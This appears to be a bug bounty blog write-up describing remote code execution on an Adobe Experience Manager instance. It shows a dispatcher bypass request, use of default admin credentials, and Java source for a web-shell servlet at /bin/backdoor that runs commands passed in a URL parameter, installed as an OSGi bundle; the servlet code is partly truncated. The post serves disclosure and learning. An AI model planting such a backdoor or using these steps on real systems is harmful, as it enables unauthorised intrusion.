How to get RCE on AEM instance without Java knowledge

Before deep diving into how I was able to perform remote code execution on one of Adobe Experience Manager instances at bug bounty program let me tell you in brief about this huge and complex system.

Few years ago Peter Adkins (Darkarnium) found RCE at signout.live.com, so with his permission I give a technical description of the system taken from his write-up.

If you are familiar with AEM, you can safely go to Discover section.

AEM Overview

Image for post
Image for post

Adobe Experience Manager (AEM) is an “enterprise grade” content management system sold and maintained by Adobe Systems. The core components of this system run inside of a JVM, with an optional Apache HTTP server module provided for “caching and/or load-balancing”.

Under the hood, “stock” AEM deployment consists of a vast array of open source products and some Adobe brand glue. Rather than the services which comprise AEM being deployed in a “traditional” manner, they are instead implemented as components inside of an Apache Felix based Open Services Gateway initiative (OSGi) framework.

Image for post
Image for post
A view of the AEM internal architecture, taken from the AEM 5.6.1 documentation.

The advantage of this system is that these components, known as OSGi “bundles”, can be installed, restarted, or re-configured without the need to restart the OSGi framework or underlying JVM. In addition, this architecture allows for the extension of AEM through the development and installation of custom OSGi bundles.

A “typical” AEM deployment consists of three distinct tiers:

  • Author (runs in a JVM)
  • Publish (runs in a JVM)
  • Dispatch (runs as an Apache HTTP Server module)

An example diagram of this style of tiered deployment can be found below:

Image for post
Image for post
A common three tier deployment, taken from the AEM 5.6.1 documentation.

In order to improve the security posture of an AEM installation, these tiers are typically deployed with the Author and Publish tiers protected from the world through network segmentation and/or access controls. The Dispatch tier is generally the only tier “open” to the internet, providing a mechanism to retrieve and cache content from the Publish tier (in a manner not unlike that of a reverse-proxy).

As a result of the Dispatch tier pulling data from upstream Publish nodes, the Dispatch module implements a “filtering” mechanism in order to mitigate abuse. This filter is especially important given that nodes in the Publish tier serve both content and administrative resources via the same Apache Sling service.

As an example of why this filtering is required, the following URL on the Publish node publish.example.org are able to be accessed without any authentication:

This page provides a browsable view of all data in the content repository.

However, if accessed via the Dispatch tier — assuming a default Dispatch configuration with an empty cache — the following should be true:

Filtered by the Dispatch tier, with an HTTP 404 served to the requestor.

In order to implement these restrictions, the default AEM Dispatch module configuration contains a set of filters which operate in a default “deny” manner: If a resource hasn’t been explicitly allowed inside of a filter block, requests for that resource would be denied.

In order to better demonstrate this configuration, an excerpt from an example Dispatch configuration file — taken from the AEM 5.6.1 “security checklist” — has been included below:

# only handle the requests in the following acl. default is 'none'
# the glob pattern is matched against the first request line
# deny everything and allow specific entries
/0001 { /type "deny" /glob "*" }
/0023 { /type "allow" /glob "* /content*" }
# enable specific mime types in non-public content directories
/0041 { /type "allow" /glob "* *.css *" } # enable css
/0042 { /type "allow" /glob "* *.gif *" } # enable gifs

The end result of this configuration is that the ability to pull Publish tier administrative resources through the Dispatch tier should be prevented.


I hope this information is enough to understand key features of AEM.

After watching a great presentation “AEM hacker — approaching Adobe Experience Manager webapps in bug bounty programs” by
Mikhail Egorov (0ang3el) at Bugcrowd Level Up 0x03 event where he presented tools for AEM security testing and exploitation I decided to make some practice. I chose one of the bug bounty program, which contains several AEM instance in scope and began testing.

Due to the non-disclosure policy of the program I will only use example.org domain.

First of all I launched aem_hacker.py — a script which performs dozens of checks to find security misconfigurations. After a few minutes I got a long listing of potential issues which meant that this instance had some problems with security.

One of the most interesting findings for me was exposed Felix Console, which in some cases can lead to RCE.

Image for post
Image for post

The Web console in AEM is based on the Apache Felix Web Management Console. Apache Felix is a community effort to implement the OSGi R4 Service Platform, which includes the OSGi framework and standard services.

The Web console offers a selection of tabs for maintaining the OSGi bundles, including:

  • Configuration: used for configuring the OSGi bundles, and is therefore the underlying mechanism for configuring AEM system parameters
  • Bundles: used for installing bundles
  • Components: used for controlling the status of components required for AEM

If you try to send following request:

GET /system/console/bundles HTTP/1.1 
Host: example.org

… in most cases you will get the following response:

HTTP/1.1 404 Not Found

To bypass dispatcher I used request:

GET /system/console/bundles?.css HTTP/1.1 
Host: example.org

… and get the following response:

HTTP/1.1 403 Forbidden

Actually, such behavior proved that instance was vulnerable to CVE-2016–0957.

So, the next step I needed to pass through was some kind of authorization. Generally AEM accept HTTP Basic Authorization header. But, what about credentials? Let’s try default pair admin/admin . And … we are in.

Image for post
Image for post
Exposed Web Console at signout.live.com from Darkarnium write-up

Since this was my first time seeing Web Console I spent some time just exploring it. As you can see on the screenshot above it contains a lot of juicy info and functionality. But let’s return to OSGi bundle and achieve desired RCE.


Luckily, 0ang3el have prepared aem-rce-bundle — which contains pre-build bundle, source code of this bundle and some instructions.

At https://example.org/system/console/status-productinfo I checked installed AEM version and got Adobe Experience Manager (6.1.0.x) (available since May 28, 2015). So, this meant that I couldn’t use pre-build bundle, because it requires at least version 6.2. If you don’t have ready exploit, try to build it yourself.

As said in repository’s instruction for AEM version 6.0 or newer I can use following Maven command:

mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \
-DarchetypeGroupId=com.adobe.granite.archetypes \
-DarchetypeArtifactId=aem-project-archetype \
-DarchetypeVersion=SELECT_FROM_TABLE \
Image for post
Image for post

From the table I chose Archetype version 10.

At that moment I didn’t even have Maven installed on my machine, so it required some time to install and configure it.

After Maven was ready I ran final command:

mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \
-DarchetypeGroupId=com.adobe.granite.archetypes \
-DarchetypeArtifactId=aem-project-archetype \
-DarchetypeVersion=10 \

And this was the moment when the real difficulties arose. As you probably have already understood, it was my first experience working with Maven and when it started to ask for additional info, such as groupId, artifactId, package, artifactName etc, I got stuck. However after some time spending to research of structure and source codes of pre-build bundle I found correct variant:

Define value for property 'groupId': : aem.hacks
Define value for property 'artifactId': : rce.bundle
Define value for property 'version': 1.0-SNAPSHOT: :
Define value for property 'package': aem.hacks: :
Define value for property 'appsFolderName': : aem.hacks
Define value for property 'artifactName': : aem.hacks
Define value for property 'componentGroupName': : aem
Define value for property 'contentFolderName': : aem.hacks
Define value for property 'cssId': : aem
Define value for property 'packageGroup': : aem.hacks
Define value for property 'siteName': : aem.hacks

After creation of the project I deleted all unnecessary directories and project structure looked like this:

└── rce.bundle
├── README.md
├── core
│ ├── pom.xml
│ └── src
│ └── main
│ └── java
│ └── aem
│ └── hacks
│ └── core
│ ├── package-info.java
│ └── servlets
│ └── SimpleServlet.java
└── pom.xml

In rce.bundle/pom.xml I left only core module:


After that I modified servlet from aem-rce-bundle (with my practically zero Java knowledge), because it didn’t work for me.

Final variant of SimpleServlet.java (it’s probably awful, but c’mon):

package aem.hacks.core.servlets;import org.apache.felix.scr.annotations.sling.SlingServlet;
import org.apache.sling.api.SlingHttpServletRequest;
import org.apache.sling.api.SlingHttpServletResponse;
import org.apache.sling.api.resource.Resource;
import org.apache.sling.api.servlets.SlingAllMethodsServlet;
import org.apache.sling.api.servlets.SlingSafeMethodsServlet;
import javax.servlet.ServletException;
import java.io.IOException;
import java.io.*;@SuppressWarnings("serial")
@SlingServlet(resourceTypes = "aem.hacks/structure/page", paths = "/bin/backdoor")
public class SimpleServlet extends SlingSafeMethodsServlet {
protected void doGet(final SlingHttpServletRequest req,
final SlingHttpServletResponse resp) throws ServletException, IOException {
final Resource resource = req.getResource();
Process proc = Runtime.getRuntime().exec(req.getParameter("cmd"));BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuilder sb = new StringBuilder();
String s = null;
while ((s = stdInput.readLine()) != null) {
sb.append(s + "\n");
String output = sb.toString();

After everything was ready I launched command to build and package bundle:

mvn package

.. and got red:


Here I tried to make some changes to Maven command, project structure, servlet source code, but every time I got BUILD FAILURE. And maybe it could be the standstill, but one of my colleagues (PHP expert) advised me to check my version of Java. It turned out that I built bundle using Java 11 and after switching to Java 8 I finally got BUILD SUCCESS. Here is a command which helped me:

update-alternatives --config java

My bundle was ready and located in rce.bundle/core/target. I navigated to https://example.org/system/console/bundles, pressed “Install/Update…” button and uploaded created jar file with enabled “Start Bundle” checkbox. At console I already saw that installation was successful and backdoor was accessible at defined in servlet path.

https://example.org/bin/backdoor?cmd=iduid=1004(publish) gid=1004(publish) groups=1004(publish)

After identification of RCE I deleted uploaded bundle from AEM and reported issue to vendor.

In a few hours I got first reply from triage team, which marked my submission as “Not applicable” because it was out of scope.

Sad, but it’s a common case in bug bounty. Anyway I got great experience of exploitation of such things and spent my time not in vain.

And probably it should be the end of the story, but exactly one month later I got notification from Bugcrowd with following content:

Image for post
Image for post

Vendor accepted this due to the severity even as it was out-of-scope. Rightly.

P.S. Thanks to Peter Adkins (Darkarnium), Mikhail Egorov (0ang3el) and my PHP expert colleague.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store